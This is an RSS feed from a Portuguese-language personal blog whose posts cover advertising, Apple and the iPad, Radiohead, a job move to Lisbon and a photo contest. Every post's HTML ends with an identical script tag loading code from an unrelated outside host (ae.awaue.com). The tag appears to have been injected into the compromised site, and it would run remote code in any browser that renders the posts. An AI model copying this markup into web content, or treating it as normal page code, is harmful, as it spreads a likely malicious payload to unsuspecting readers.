<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dAlbergaria &#187; propaganda</title>
	<atom:link href="http://blog.dalbergaria.com/category/propaganda/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.dalbergaria.com</link>
	<description>Só o que eu acho de legal por ai.</description>
	<lastBuildDate>Sun, 04 Apr 2010 23:26:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>O fim do meu amor pela apple</title>
		<link>http://blog.dalbergaria.com/2010/o-fim-do-meu-amor-pela-apple/</link>
		<comments>http://blog.dalbergaria.com/2010/o-fim-do-meu-amor-pela-apple/#comments</comments>
		<pubDate>Sun, 04 Apr 2010 23:26:44 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[hckr.tv]]></category>
		<category><![CDATA[propaganda]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=123</guid>
		<description><![CDATA[via boingboing. Foi acabando aos poucos, começou quando o produto deixou de ser importante e o mercado passou a ser mais. Já não era mais um apple e sim um simples PC montado com um design superior ao que havia no mercado e um sistema operacional bacana. Ótimo, apple cresceu feito louca, pode vir a [...]]]></description>
			<content:encoded><![CDATA[<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/-M2MolnyZJ4&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/-M2MolnyZJ4&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><a href="http://www.boingboing.net/2010/04/04/1984-ipad-edition.html">via boingboing</a>.</p>
<p>Foi acabando aos poucos, começou quando o produto deixou de ser importante e o mercado passou a ser mais. Já não era mais um apple e sim um simples PC montado com um design superior ao que havia no mercado e um sistema operacional bacana. Ótimo, apple cresceu feito louca, pode vir a revolucionar o mercado editorial, é o objetivo do iPad. Acho possível, vai ser uma briga épica, as pessoas usando boa parte das coisas boas da internet mas abrindo mão da mais importante, a liberdade. </p>
<p>E não é a liberdade pela liberdade, é o que ela gera: Um mercado realmente livre, onde ilustradores, músicos, escritores podem se lançar só com a rede, mas não quero ir por esse lado, voltando a apple: Para ter mais controle sobre o que você esta fazendo com o quicktime eles cortaram as entradas e saídas de informação que um .mov podeia ter. Alguns VJs criavam arquivos .mov que eram sensíveis ao de midi ou som hambiente. Com esse pequeno detalhe Jobs frusta toda essa pequena comunidade &#8211; eu sou parte dela. Acre</p>
<p>E pensar que todo o hype da apple nasceu do amor de uma também pequena comunidade&#8230;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2010/o-fim-do-meu-amor-pela-apple/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pausa para restart</title>
		<link>http://blog.dalbergaria.com/2009/pausa-para-restart/</link>
		<comments>http://blog.dalbergaria.com/2009/pausa-para-restart/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 13:34:39 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[pessoal]]></category>
		<category><![CDATA[propaganda]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=116</guid>
		<description><![CDATA[Férias, minha mulher, minha mãe e meu pai e um carro&#8230; Vamos nos perder por portugal. O destino final é Santiago na Espanha. Vão ser duas semanas em que mais uma vez não vou conseguir achar o botão de off mental. Dessa vez por um motivo grande, mais uma vez vou ter que me re-inventar. [...]]]></description>
			<content:encoded><![CDATA[<p>Férias, minha mulher, minha mãe e meu pai e um carro&#8230; Vamos nos perder por portugal. O destino final é Santiago na Espanha. Vão ser duas semanas em que mais uma vez não vou conseguir achar o botão de off mental. Dessa vez por um motivo grande, mais uma vez vou ter que me re-inventar.</p>
<p>Já trabalhei como produtor de eventos/cultural, programador, web designer, arquiteto de informação, diretor de arte on e offline e agora se tudo andar como planejado, volto das férias brigado com o Photoshop, e por isso, começo a tratar esse blog de uma forma bem diferente do que <a href="http://blog.dalbergaria.com/2008/esse-blog/" target="_self">andei falando por ai</a>.</p>
<p>Motivo? Em breve devo trocar o Photoshop pelo Keynote. E por isso, tenho que voltar a desenhar com palavras, já que esse será meu novo craft, nada melhor que voltar a bloggar com regularidade para treinar.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2009/pausa-para-restart/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Internet as Art</title>
		<link>http://blog.dalbergaria.com/2009/the-internet-as-art/</link>
		<comments>http://blog.dalbergaria.com/2009/the-internet-as-art/#comments</comments>
		<pubDate>Thu, 30 Jul 2009 13:56:51 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[propaganda]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=108</guid>
		<description><![CDATA[Voltei do almoço e fui dar aquela olhada no meu Google Reader, primeiro me chama a atenção um post falando do Mad Men Yourself, não é a primeira nem última vez que se faz um XXXX Yourself e esse não foi a primeira e nem a última vez que vi um post falando o Mad [...]]]></description>
			<content:encoded><![CDATA[<p>Voltei do almoço e fui dar aquela olhada no meu Google Reader, primeiro me chama a atenção um post falando do <a href="http://www.amctv.com/originals/madmen/madmenyourself/">Mad Men Yourself</a>, não é a primeira nem última vez que se faz um XXXX Yourself e esse não foi a primeira e nem a última vez que vi um post falando o <a href="http://www.amctv.com/originals/madmen/madmenyourself/">Mad Men Yourself</a>,  Isso me faz pensar em um dos dogmas da propaganda: &#8220;Isso já foi feito&#8221;.</p>
<p>O mais que aclamado <a href="http://www.subservientchicken.com/" target="_blank">Subservient Chicken</a> só era novo pros juris de Cannes, tinha até site porno em que o personagem fazia o que vc mandava antes da CP+B lançar o deles. Continuando na CP+B, o <a href="http://www.cpbgroup.com/awards/sithsense.html" target="_blank">Darth Vader</a> que descobre no que vc esta pensando era um site muito famoso desde 99ish, simples, só texto e um campo de formulário, lembra?</p>
<p>Mas ambos os projetos funcionaram muito bem, não tem como negar.</p>
<p>O pensamento foi tão profundo quanto o tempo da internet me permite&#8230; &#8220;J&#8221; faz com que o reader continue indo para o próximo post, dessa vez um artigo do WSJ que falava que de Internet como forma de arte. <a href="http://online.wsj.com/article/SB10001424052970204619004574318373312061230.html">O editor destacou algo que me chamou muito atenção: In the digital age, the medium is the new message</a>.</p>
<p>Tem que se pensar no novo&#8230; é a mensagem ou é a escolha do meio?</p>
<p>Como se fala aqui em portugal: &#8220;Prima J&#8221; e continue no próximo post do reader&#8230;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2009/the-internet-as-art/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pertinente</title>
		<link>http://blog.dalbergaria.com/2008/pertinente/</link>
		<comments>http://blog.dalbergaria.com/2008/pertinente/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 01:01:09 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[pessoal]]></category>
		<category><![CDATA[propaganda]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=64</guid>
		<description><![CDATA[Estava aqui pensando, e ouvindo Cellar Door do Loco Dice. Mas vamos ao pensando. O @alex_ag407 tbm conhecido como meu ex chefe começou a tuitar umas aulas de história da propaganda. Quando surgiu essa idéia pela primeira vez ia ser um blog. Mas por força do destino o projeto nunca saiu. Pq agora ficou claro [...]]]></description>
			<content:encoded><![CDATA[<p>Estava aqui pensando, e ouvindo Cellar Door do Loco Dice. Mas vamos ao pensando.</p>
<p>O <a href="http://twitter.com/alex_ag407" target="_blank">@alex_ag407</a> tbm conhecido como meu ex chefe começou a tuitar umas aulas de história da propaganda. Quando surgiu essa idéia pela primeira vez ia ser um blog. Mas por força do destino o projeto nunca saiu. Pq agora ficou claro que tinha que ser via tuiter &#8211; ainda que seja o uso &#8220;errado&#8221; da ferramenta. E mais, o momento nunca foi tão bom. Crise Atual, começo da propaganda de massa&#8230;</p>
<p>Pertinente! Parabens, <a href="http://twitter.com/alex_ag407" target="_blank">@alex_ag407</a> !</p>
<p>Mas voltando ao que estava pensando.</p>
<p>Ai me veio a mente o marketing do pertinente. Seria esse o resumo de tudo que vi no <a href="http://www.nbc08.com.br/" target="_blank">NBC08</a>, pra mim.</p>
<p>Foda é que as vezes, percebo que as pessoas não sabem mais ver a pertinência fora da esfera: tenho que manter meu emprego.</p>
<p>É triste.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2008/pertinente/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Novo filme de Bravia</title>
		<link>http://blog.dalbergaria.com/2008/novo-filme-de-bravia/</link>
		<comments>http://blog.dalbergaria.com/2008/novo-filme-de-bravia/#comments</comments>
		<pubDate>Fri, 17 Oct 2008 05:16:12 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[propaganda]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=38</guid>
		<description><![CDATA[Perde, e feio, pros outros. Mas o pachshot é bonito, muito.]]></description>
			<content:encoded><![CDATA[<p>Perde, e feio, pros outros. Mas o pachshot é bonito, muito.</p>
<p style="text-align: center;"><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Fcnzam_R9c4&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/Fcnzam_R9c4&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2008/novo-filme-de-bravia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Propaganda hackeavel</title>
		<link>http://blog.dalbergaria.com/2008/propaganda-hackeavel/</link>
		<comments>http://blog.dalbergaria.com/2008/propaganda-hackeavel/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 19:07:00 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[propaganda]]></category>
		<category><![CDATA[street art]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=36</guid>
		<description><![CDATA[Dr.D agora é vintage. Hackearam o primeiro anuncio em e-paper.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.drd.nu/" target="_blank">Dr.D</a> agora é vintage. Hackearam o primeiro anuncio em e-paper.</p>
<p style="text-align: center;"><a href="http://hackaday.com/2008/10/14/how-to-make-an-e-paper-clock-and-hack-esquire-magazine/"><img class="alignnone" src="http://hackadaycom.files.wordpress.com/2008/10/final-clock-450.jpg?w=450&amp;h=322" alt="" width="450" height="322" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2008/propaganda-hackeavel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metro Photo Challenge</title>
		<link>http://blog.dalbergaria.com/2008/metro-photo-challenge/</link>
		<comments>http://blog.dalbergaria.com/2008/metro-photo-challenge/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 12:38:47 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[fotografia]]></category>
		<category><![CDATA[propaganda]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=30</guid>
		<description><![CDATA[http://www.metrophotochallenge.com/br Já mandei a primeira foto! Vou escolher mais 4. O prêmio é legal, uma viagem pra frança.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.metrophotochallenge.com/br" target="_blank">http://www.metrophotochallenge.com/br</a></p>
<p>Já mandei a primeira foto!</p>
<p style="text-align: center;"><img class="alignnone" title="SoHo" src="http://farm2.static.flickr.com/1202/1188186019_64821edb4f.jpg" alt="" width="357" height="500" /></p>
<p>Vou escolher mais 4. O prêmio é legal, uma viagem pra frança.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2008/metro-photo-challenge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>To indo nessa.</title>
		<link>http://blog.dalbergaria.com/2008/to-indo-nessa/</link>
		<comments>http://blog.dalbergaria.com/2008/to-indo-nessa/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 12:30:48 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[pessoal]]></category>
		<category><![CDATA[propaganda]]></category>
		<category><![CDATA[leo lisboa]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=26</guid>
		<description><![CDATA[Pronto, chegou a hora de fazer as malas mais um vez. Agora o destino é portugal. Estou indo para a Leo Lisboa. Engraçado, segunda vez que saio do país para uma agência do tio Leo. Aproveitei o evento para tentar, mais uma vez voltar a blogar. Sei que o assunto mais comum no meu blog [...]]]></description>
			<content:encoded><![CDATA[<p>Pronto, chegou a hora de fazer as malas mais um vez.</p>
<p>Agora o destino é portugal. Estou indo para a <a href="http://www.leoburnett.pt/" target="_blank">Leo Lisboa</a>. Engraçado, segunda vez que saio do país para uma agência do tio <a href="http://en.wikipedia.org/wiki/Leo_Burnett" target="_blank">Leo</a>.</p>
<p>Aproveitei o evento para tentar, mais uma vez voltar a blogar.</p>
<p>Sei que o assunto mais comum no meu blog é esse: que eu vou voltar a blogar <img src='http://blog.dalbergaria.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Mas agora vai&#8230;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2008/to-indo-nessa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In rainbows</title>
		<link>http://blog.dalbergaria.com/2008/in-rainbows/</link>
		<comments>http://blog.dalbergaria.com/2008/in-rainbows/#comments</comments>
		<pubDate>Mon, 11 Aug 2008 14:17:53 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[musica]]></category>
		<category><![CDATA[propaganda]]></category>
		<category><![CDATA[radiohead]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=16</guid>
		<description><![CDATA[Muita gente fica falando do case&#8230; Mas pra mim o segredo ta no produto. Essa JPG é é lista de Weekly Top Songs e Weekly Top Artists. As 10 musicas mais ouvidas de todo o last.fm naquela epoca foram todas do radiohead. Para mim, a principal arma de comunicação do In Rainbows foram suas músicas. [...]]]></description>
			<content:encoded><![CDATA[<p>Muita gente fica falando do case&#8230; Mas pra mim o segredo ta no produto.</p>
<p>Essa JPG é é lista de Weekly Top Songs e Weekly Top Artists. As 10 musicas mais ouvidas de todo o last.fm naquela epoca foram todas do radiohead. Para mim, a principal arma de comunicação do In Rainbows foram suas músicas. Lógico que ter uma postura de igual-para-igual com quem ouve suas musicas também ajudou.</p>
<p style="text-align: center;"><a href="http://blog.dalbergaria.com/wp-content/uploads/2008/08/radiohead.jpg"><img class="alignnone size-medium wp-image-17" title="radiohead" src="http://blog.dalbergaria.com/wp-content/uploads/2008/08/radiohead-300x232.jpg" alt="" width="300" height="232" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2008/in-rainbows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The End of Theory!</title>
		<link>http://blog.dalbergaria.com/2008/the-end-of-theory/</link>
		<comments>http://blog.dalbergaria.com/2008/the-end-of-theory/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 14:55:32 +0000</pubDate>
		<dc:creator>dAlbergaria</dc:creator>
				<category><![CDATA[propaganda]]></category>
		<category><![CDATA[Chris Anderson]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[wired]]></category>

		<guid isPermaLink="false">http://blog.dalbergaria.com/?p=14</guid>
		<description><![CDATA[The Data Deluge Makes the Scientific Method Obsolete. &#8220;All models are wrong, but some are useful.&#8221; Puta texto animal do tão comentado por aqui &#8211; ultimamente &#8211; Chris Anderson. Clica aqui pra ler]]></description>
			<content:encoded><![CDATA[<p>The Data Deluge Makes the Scientific Method Obsolete.</p>
<p><strong>&#8220;All models are wrong</strong>, but some are useful.&#8221;</p>
<p>Puta texto animal do tão comentado por aqui &#8211; ultimamente &#8211; <em>Chris Anderson.</em></p>
<p><a href="http://www.wired.com/science/discoveries/magazine/16-07/pb_theory" target="_blank">Clica aqui pra ler<br />
</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dalbergaria.com/2008/the-end-of-theory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
